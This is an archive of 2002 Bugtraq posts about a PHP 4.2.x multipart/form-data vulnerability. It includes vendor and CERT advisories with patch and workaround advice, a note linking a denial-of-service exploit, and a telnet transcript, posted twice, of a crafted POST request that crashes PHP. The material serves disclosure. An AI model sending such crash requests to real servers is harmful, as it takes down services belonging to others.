8759460 2002-07-22 13:21 +0200  /102 rader/ e-matters Security <security@e-matters.de>
Sänt av: joel@lysator.liu.se
Importerad: 2002-07-22  15:54  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: vulnwatch@vulnwatch.org
Externa svar till: security@e-matters.de
Mottagare: Bugtraq (import) <23165>
Ärende: Advisory 02/2002: PHP remote vulnerability
------------------------------------------------------------
From: e-matters Security <security@e-matters.de>
To: bugtraq@securityfocus.com
Cc: vulnwatch@vulnwatch.org
Message-ID: <20020722112128.GB9191@php.net>

                           e-matters GmbH
                          www.e-matters.de

                      -= Security  Advisory =-



     Advisory: Remote Compromise/DOS Vulnerability in PHP
 Release Date: 2002/07/22
Last Modified: 2002/07/22
       Author: Stefan Esser [s.esser@e-matters.de]

  Application: PHP 4.2.0, 4.2.1
     Severity: A vulnerability within the multipart/form-data handler
               could allow remote compromise of the web server.
         Risk: Critical
Vendor Status: Patches Released.
    Reference: http://security.e-matters.de/advisories/022002.html



Overview:
	
   We have discovered a serious vulnerability within the default
   version  of PHP. Depending on the processor architecture it may be
   possible for a  remote attacker to either crash or compromise the
   web server.
 
	
Details:

   PHP 4.2.0 introduced a completely rewritten multipart/form-data
   POST  handler. While I was working on the code in my role as PHP
   developer i found a bug within the way the mime headers are
   processed.  A malformed POST request can trigger an error
   condition, that is not correctly handled. Due to this bug it could
   happen that an uninit- ialised struct gets appended to the linked
   list of mime headers.  When the lists gets cleaned or destroyed
   PHP tries to free the pointers that are expected in the
   struct. Because of the lack of initialisation those pointers
   contain stuff that was left on the stack by previous function
   calls.

   On the IA32 architecture (aka. x86) it is not possible to control
   what will end up in the uninitialised struct because of the stack
   layout. All  possible code paths leave illegal addresses within
   the struct and PHP will crash when it tries to free them.

   Unfortunately the situation is absolutely different if you look on
   a solaris sparc installation. Here it is possible for an attacker
   to free chunks of memory that are full under his control. This is
   most probably the case for several more non IA32 architectures.

   Please note that exploitability is not only limited to systems
   that are running malloc()/free() implementations that are known to
   be vulnerable to control structure overwrites. This is because the
   internal PHP memory managment implements its own linked list
   system that can be used to overwrite nearly arbitrary memory
   addresses.
   

Proof of Concept:

   e-matters is not going to release the exploit for this
   vulnerability to the public.
   

Vendor Response:

   22th July 2002 - An updated version of PHP which fixes this 
                    vulnerability was released and can be downloaded at:

                       http://www.php.net/downloads.php

                    The vendor announcement is available at:

                       http://www.php.net/release_4_2_2.php


Recommendation:

   If you are running PHP 4.2.x you should upgrade as soon as
   possible, especially if your server runs on a non IA32 CPU. If you
   cannot upgrade for whatever reason the only way to workaround
   this, is to disable all kinds of POST requests on your server.
   
   
GPG-Key:

   http://security.e-matters.de/gpg_key.asc
    
   pub  1024D/75E7AAD6 2002-02-26 e-matters GmbH - Securityteam Key
   fingerprint = 43DD 843C FAB9 832A E5AB  CAEB 81F2 8110 75E7 AAD6


Copyright 2002 Stefan Esser. All rights reserved.
(8759460) /e-matters Security <security@e-matters.de>/(Ombruten)
8760018 2002-07-20 20:45 -0500  /32 rader/ Matthew Murphy <mattmurphy@kc.rr.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-07-22  18:04  av Brevbäraren
Extern mottagare: BugTraq <bugtraq@securityfocus.com>
Extern mottagare: SecurITeam News <news@securiteam.com>
Extern mottagare: Full Disclosure <full-disclosure@lists.netsys.com>
Mottagare: Bugtraq (import) <23168>
Ärende: PHP Resource Exhaustion Denial of Service
------------------------------------------------------------
From: "Matthew Murphy" <mattmurphy@kc.rr.com>
To: "BugTraq" <bugtraq@securityfocus.com>,
 "SecurITeam News" <news@securiteam.com>,
 "Full Disclosure" <full-disclosure@lists.netsys.com>
Message-ID: <000801c23058$442dc220$e62d1c41@kc.rr.com>

The PHP interpreter is a heavy-duty CGI EXE (or SAPI module,
depending on configuration) that implements an HTML-embedded script
language.  A vulnerability in PHP can be used to cause a denial of
service in some cases.

PHP's install process on Apache requires a "/php/" alias to be
created, as it resolves CGI paths to a virtual.  (e.g, /php/php.exe
not C:\php\php.exe).

To solve the obvious security vulnerability posed by allowing PHP to
run from the web, the development team added a cgi.force_redirect
option that is enabled by default in Apache.

However, regardless of the force_redirect value, it is still possible
to load the binary without a script path:

(e.g, http://localhost/php/php)

A problem exists in PHP; specifically, it does not terminate when
given no command-line arguments.  A consistent flow of requests like
the above will exhaust all resources for CGI/ASAPI on the server.

Exploit: http://www.murphy.101main.net/php-apache.c

I tried to make sure this would run on Linux/BSD, but no guarantees...
Compiles cleanly on WinMe with MSVC 6.0.
(8760018) /Matthew Murphy <mattmurphy@kc.rr.com>/(Ombruten)
8759441 2002-07-22 13:59 +0300  /82 rader/ Marko Karppinen <markonen@php.net>
Sänt av: joel@lysator.liu.se
Importerad: 2002-07-22  15:48  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <23164>
Mottagare: Cracking erfarenhetsutbyte <14713>
    Sänt:     2002-07-22 16:16
    Sänt av Jonas Bofjäll (stackare)
Mottagare: PHP (-) erfarenhetsutbyte <551>
    Sänt:     2002-07-22 16:16
    Sänt av Jonas Bofjäll (stackare)
Ärende: PHP Security Advisory: Vulnerability in PHP versions 4.2.0 and 4.2.1
------------------------------------------------------------
From: Marko Karppinen <markonen@php.net>
To: <bugtraq@securityfocus.com>
Message-ID: <B961C05D.C39D%markonen@php.net>


   PHP Security Advisory: Vulnerability in PHP versions 4.2.0 and
4.2.1


Issued on: July 22, 2002
Software:  PHP versions 4.2.0 and 4.2.1
Platforms: All


   The PHP Group has learned of a serious security vulnerability in
   PHP versions 4.2.0 and 4.2.1. An intruder may be able to execute
   arbitrary code with the privileges of the web server. This
   vulnerability may be exploited to compromise the web server and,
   under certain conditions, to gain privileged access.


Description

   PHP contains code for intelligently parsing the headers of HTTP
   POST requests. The code is used to differentiate between variables
   and files sent by the user agent in a "multipart/form-data"
   request. This parser has insufficient input checking, leading to
   the vulnerability.

   The vulnerability is exploitable by anyone who can send HTTP POST
   requests to an affected web server. Both local and remote users,
   even from behind firewalls, may be able to gain privileged access.


Impact

   Both local and remote users may exploit this vulnerability to
   compromise the web server and, under certain conditions, to gain
   privileged access.  So far only the IA32 platform has been
   verified to be safe from the execution of arbitrary code. The
   vulnerability can still be used on IA32 to crash PHP and, in most
   cases, the web server.


Solution

   The PHP Group has released a new PHP version, 4.2.2, which
   incorporates a fix for the vulnerability. All users of affected
   PHP versions are encouraged to upgrade to this latest version. The
   downloads web site at

      http://www.php.net/downloads.php
   
   has the new 4.2.2 source tarballs, Windows binaries and source
   patches from 4.2.0 and 4.2.1 available for download.
 
 
Workaround

   If the PHP applications on an affected web server do not rely on
   HTTP POST input from user agents, it is often possible to deny
   POST requests on the web server.

   In the Apache web server, for example, this is possible with the
   following code included in the main configuration file or a
   top-level .htaccess file:

      <Limit POST>
          Order deny,allow
          Deny from all
      </Limit>
    
   Note that an existing configuration and/or .htaccess file may have
   parameters contradicting the example given above.

 
Credits

   The PHP Group would like to thank Stefan Esser of e-matters GmbH
   for discovering this vulnerability.
   

Copyright (c) 2002 The PHP Group.
(8759441) /Marko Karppinen <markonen@php.net>/(Ombruten)
Kommentar i text 8759557
Kommentar i text 8759601
Kommentar i text 8760538 av Henrik Edlund, IDA (den vandrande paradoxen)
8761918 2002-07-22 19:09 -0400  /309 rader/ CERT Advisory <cert-advisory@cert.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-07-23  03:33  av Brevbäraren
Extern mottagare: cert-advisory@cert.org
Mottagare: Bugtraq (import) <23178>
Mottagare: Bellman -- The Recursive Hacker <20006>
    Sänt:     2002-07-23 04:44
    Mottaget: 2002-07-23 09:12
Ärende: CERT Advisory CA-2002-21 Vulnerability in PHP
------------------------------------------------------------
From: CERT Advisory <cert-advisory@cert.org>
To: cert-advisory@cert.org
Message-ID: <CA-2002-21.1@cert.org>



-----BEGIN PGP SIGNED MESSAGE-----

CERT Advisory CA-2002-21 Vulnerability in PHP

   Original release date: July 22, 2002
   Last revised: --
   Source: CERT/CC

   A complete revision history can be found at the end of this file.

Systems Affected

     * Systems running PHP versions 4.2.0 or 4.2.1

Overview

   A  vulnerability  has been discovered in PHP. This vulnerability
   could be  used  by  a remote attacker to execute arbitrary code or
   crash PHP and/or the web server.

I. Description

   PHP  is  a  popular  scripting  language  in  widespread use. For
   more information about PHP, see

          http://www.php.net/manual/en/faq.general.php

   The  vulnerability  occurs  in the portion of PHP code responsible
   for handling  file uploads, specifically multipart/form-data. By
   sending a specially  crafted  POST  request  to  the web server,
   an attacker can corrupt  the  internal  data  structures used by
   PHP. Specifically, an intruder  can  cause  an improperly
   initialized memory structure to be freed.  In  most  cases, an
   intruder can use this flaw to crash PHP or the  web  server. Under
   some circumstances, an intruder may be able to take  advantage  of
   this  flaw  to  execute  arbitrary  code with the privileges of
   the web server.

   You  may  be  aware that freeing memory at inappropriate times in
   some implementations  of  malloc  and  free  does not usually
   result in the execution  of  arbitrary  code.  However, because
   PHP utilizes its own memory  management  system,  the
   implementation of malloc and free is irrelevant to this problem.

   Stefan  Esser  of  e-matters  GmbH has indicated that intruders cannot
   execute   code   on   x86   systems.   However,  we  encourage  system
   administrators  to  apply  patches  on  x86  systems  as well to guard
   against denial-of-service attacks and as-yet-unknown attack techniques
   that may permit the execution of code on x86 architectures.

   This  vulnerability  was discovered by e-matters GmbH and is
   described in  detail  in  their  advisory.  The  PHP  Group  has
   also issued an advisory.  A list of vendors contacted by the
   CERT/CC and their status regarding this vulnerability is available
   in VU#929115.

   Although   this  vulnerability  only  affects  PHP  4.2.0  and  4.2.1,
   e-matters  GmbH  has  previously  identified  vulnerabilities in older
   versions  of  PHP.  If  you  are  running  older  versions  of PHP, we
   encourage you to review
   http://security.e-matters.de/advisories/012002.html

II. Impact

   A  remote  attacker can execute arbitrary code on a vulnerable
   system.  An  attacker  may not be able to execute code on x86
   architectures due to  the way the stack is structured. However, an
   attacker can leverage this  vulnerability  to  crash PHP and/or
   the web server running on an x86 architecture.

III. Solution

Apply a patch from your vendor

   Appendix A contains information provided by vendors for this
   advisory.  As  vendors report new information to the CERT/CC, we
   will update this section  and note the changes in our revision
   history. If a particular vendor  is  not  listed  below,  we  have
   not received their comments.  Please contact your vendor directly.

Upgrade to the latest version of PHP

   If  a  patch  is  not  available  from your vendor, upgrade to
   version 4.2.2.

Deny POST requests

   Until  patches  or an update can be applied, you may wish to deny
   POST requests.  The  following  workaround  is  taken from the PHP
   Security Advisory:

     If  the  PHP  applications on an affected web server do not rely
     on HTTP POST input from user agents, it is often possible to
     deny POST requests on the web server.

     In  the  Apache  web server, for example, this is possible with
     the following  code  included  in  the  main  configuration
     file  or a top-level .htaccess file:

     <Limit POST>
        Order deny,allow
        Deny from all
     </Limit>

     Note  that an existing configuration and/or .htaccess file may
     have parameters contradicting the example given above.

Disable vulnerable service

   Until  you  can upgrade or apply patches, you may wish to disable
   PHP.  As a best practice, the CERT/CC recommends disabling all
   services that are not explicitly required. Before deciding to
   disable PHP, carefully consider your service requirements.

Appendix A. - Vendor Information

   This  appendix  contains  information  provided  by  vendors  for
   this advisory.  As  vendors  report new information to the
   CERT/CC, we will update this section and note the changes in our
   revision history. If a particular  vendor  is  not  listed  below,
   we have not received their comments.

Apple Computer Inc.

          Mac  OS  X  and  Mac  OS X Server are shipping with PHP
          version 4.1.2  which  does  not  contain the vulnerability
          described in this alert.

Caldera

          Caldera  OpenLinux  does  not provide either vulnerable
          version (4.2.0,  4.2.1)  of  PHP  in their
          products. Therefore, Caldera products are not vulnerable to
          this issue.

Compaq Computer Corporation

          SOURCE:  Compaq Computer Corporation, a wholly-owned subsidiary
          of  Hewlett-Packard  Company  and  Hewlett-Packard  Company  HP
          Services Software Security Response Team
          x-ref: SSRT2300 php post requests
          At  the  time  of  writing  this  document, Compaq is currently
          investigating   the   potential  impact  to  Compaq's  released
          Operating System software products.
          As  further  information  becomes available Compaq will provide
          notice  of  the  availability  of any necessary patches through
          standard  security bulletin announcements and be available from
          your normal HP Services supportchannel.

Cray Inc.

          Cray, Inc. does not supply PHP on any of its systems.

Debian

          Debian GNU/Linux stable aka 3.0 is not vulnerable.  Debian
          GNU/Linux testing is not vulnerable.  Debian GNU/Linux
          unstable is vulnerable.  The  problem  effects PHP versions
          4.2.0 and 4.2.1. Woody ships an  older  version  of  PHP
          (4.1.2),  that doesn't contain the vulnerable function.

FreeBSD

          FreeBSD  does not include any version of PHP by default,
          and so is  not  vulnerable; however, the FreeBSD Ports
          Collection does contain  the  PHP4  package. Updates to the
          PHP4 package are in progress  and a corrected package will
          be available in the near future.

Guardian Digital

          Guardian  Digital  has not shipped PHP 4.2.x in any
          versions of EnGarde, therefore we are not believed to be
          vulnerable at this time.

Hewlett-Packard Company

          SOURCE:  Hewlett-Packard Company Security Response Team At
          the  time  of  writing  this  document,  Hewlett Packard is
          currently  investigating  the potential impact to HP's
          released Operating System software products.  As further
          information becomes available HP will provide notice of
          the  availability of any necessary patches through standard
          security  bulletin  announcements  and  be  available from
          your normal HP Services support channel.

IBM

          IBM  is  not vulnerable to the above vulnerabilities in
          PHP. We do  supply the PHP packages for AIX through the AIX
          Toolbox for Linux  Applications.  However,  these packages
          are at 4.0.6 and also incorporate the security patch from
          2/27/2002.

Mandrakesoft

          Mandrake Linux does not ship with PHP version 4.2.x and as
          such is  not  vulnerable.  The  Mandrake Linux cooker does
          currently contain  PHP  4.2.1  and  will  be  updated
          shortly, but cooker should  not be used in a production
          environment and no advisory will be issued.

Microsoft Corporation

          Microsoft  products  are not affected by the issues
          detailed in this advisory.

Network Appliance

          No Netapp products are vulnerable to this.

Red Hat Inc.

          None  of  our commercial releases ship with vulnerable
          versions of PHP (4.2.0, 4.2.1).

SuSE Inc.

          SuSE Linux is not vulnerable to this problem, as we do not ship
          PHP 4.2.x.
     _________________________________________________________________

   The  CERT/CC acknowledges e-matters GmbH for discovering and reporting
   this vulnerability.
     _________________________________________________________________

   Author: Ian A. Finlay.
   ______________________________________________________________________

   This document is available from:
   http://www.cert.org/advisories/CA-2002-21.html
   ______________________________________________________________________

CERT/CC Contact Information

   Email: cert@cert.org
          Phone: +1 412-268-7090 (24-hour hotline)
          Fax: +1 412-268-6989
          Postal address:
          CERT Coordination Center
          Software Engineering Institute
          Carnegie Mellon University
          Pittsburgh PA 15213-3890
          U.S.A.

   CERT/CC   personnel   answer  the  hotline  08:00-17:00  EST(GMT-5)  /
   EDT(GMT-4)  Monday  through  Friday;  they are on call for emergencies
   during other hours, on U.S. holidays, and on weekends.

Using encryption

   We  strongly  urge you to encrypt sensitive information sent by
   email.  Our public PGP key is available from
   http://www.cert.org/CERT_PGP.key

   If  you  prefer  to  use  DES,  please  call the CERT hotline for
   more information.

Getting security information

   CERT  publications  and  other security information are available
   from our web site http://www.cert.org/

   To  subscribe  to  the CERT mailing list for advisories and
   bulletins, send  email  to majordomo@cert.org. Please include in
   the body of your message

   subscribe cert-advisory

   *  "CERT"  and  "CERT  Coordination Center" are registered in the
   U.S.  Patent and Trademark Office.
   ______________________________________________________________________

   NO WARRANTY
   Any  material furnished by Carnegie Mellon University and the Software
   Engineering  Institute  is  furnished  on  an  "as is" basis. Carnegie
   Mellon University makes no warranties of any kind, either expressed or
   implied  as  to  any matter including, but not limited to, warranty of
   fitness  for  a  particular purpose or merchantability, exclusivity or
   results  obtained from use of the material. Carnegie Mellon University
   does  not  make  any warranty of any kind with respect to freedom from
   patent, trademark, or copyright infringement.
     _________________________________________________________________

   Conditions for use, disclaimers, and sponsorship information

   Copyright 2002 Carnegie Mellon University.

   Revision History
July 22, 2002:  Initial release




-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8

iQCVAwUBPTyOVqCVPMXQI2HJAQGK6QQAp1rR7K18PNxpQZvqKPYWxyrtpiT8mmKN
UuyERmOoX+5MAwH0hbAWCvVcyLH0gKGbTpBkRgToT8IEHZojwHCzqOaMM9kni/FG
QEVeznLfBX4GIgZGPu0XWlph3ZqaayWln57eGueYZ26zBuriIUu2cUCmyYGQkqlI
tuZdnDqUmR0=
=+829
-----END PGP SIGNATURE-----
(8761918) /CERT Advisory <cert-advisory@cert.org>/(Ombruten)
8769158 2002-07-24 09:47 -0400  /43 rader/ Joseph S. Testa II <jtesta@rapid7.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-07-24  16:53  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <23199>
Ärende: How to reproduce PHP segfault.
------------------------------------------------------------
From: "Joseph S. Testa II" <jtesta@rapid7.com>
To: bugtraq@securityfocus.com
Message-ID: <3D3EAFDE.5000400@rapid7.com>



Happy Wednesday.

     The following is an example on how to reproduce the segmentation
violation in PHP 4.2.0 & PHP 4.2.1 with Apache 1.3.26 on Linux x86:


[jdog@wonderland logs]$ telnet 192.168.x.x 80
Trying 192.168.x.x...
Connected to 192.168.x.x.
Escape character is '^]'.
POST /chad_owns_me.php HTTP/1.0
Content-type: multipart/form-data; boundary=---------------------------123
Content-length: 129

-----------------------------123
Content-Disposition: filename

http://www.rapid7.com/
-----------------------------123--

Connection closed by foreign host.  [jdog@wonderland logs]$ cat
error_log [Tue Jul 23 11:11:52 2002] [notice] child pid 8948 exit
signal Segmentation fault (11) [jdog@wonderland logs]$


     Note that a path to an existing PHP file must be used, otherwise
the PHP interpreter will not be invoked.


     - Joe


GPG key:  http://www.cs.rit.edu/~jst3290/joetesta_r7.pub
A22B 2683 C40E 5443 AE52  AD6D 65B2 F5DF 4B11 06B4
(8769158) /Joseph S. Testa II <jtesta@rapid7.com>/(Ombruten)
Bilaga (text/plain) i text 8769159
8769159 2002-07-24 09:47 -0400  /49 rader/ Joseph S. Testa II <jtesta@rapid7.com>
Bilagans filnamn: "php.asc"
Importerad: 2002-07-24  16:53  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <23200>
Bilaga (text/plain) till text 8769158
Ärende: Bilaga (php.asc) till: How to reproduce PHP segfault.
------------------------------------------------------------
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



Happy Wednesday.

    The following is an example on how to reproduce the segmentation
violation in PHP 4.2.0 & PHP 4.2.1 with Apache 1.3.26 on Linux x86:


[jdog@wonderland logs]$ telnet 192.168.x.x 80
Trying 192.168.x.x...
Connected to 192.168.x.x.
Escape character is '^]'.
POST /chad_owns_me.php HTTP/1.0
Content-type: multipart/form-data; boundary=---------------------------123
Content-length: 129

- -----------------------------123
Content-Disposition: filename

http://www.rapid7.com/
- -----------------------------123--

Connection closed by foreign host.  [jdog@wonderland logs]$ cat
error_log  [Tue Jul 23 11:11:52 2002] [notice] child pid 8948 exit
signal Segmentation fault (11) [jdog@wonderland logs]$


    Note that a path to an existing PHP file must be used, otherwise
the PHP interpreter will not be invoked.


    - Joe


GPG key:  http://www.cs.rit.edu/~jst3290/joetesta_r7.pub
A22B 2683 C40E 5443 AE52  AD6D 65B2 F5DF 4B11 06B4

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE9PptSZbL130sRBrQRAsSAAJ4+FbEbPXqy5VKUcRDzeO1NzcY/1gCdH3MM
oRkBUnspQkZ3JARKDTL5Oe8=
=KzKt
-----END PGP SIGNATURE-----
(8769159) /Joseph S. Testa II <jtesta@rapid7.com>/(Ombruten)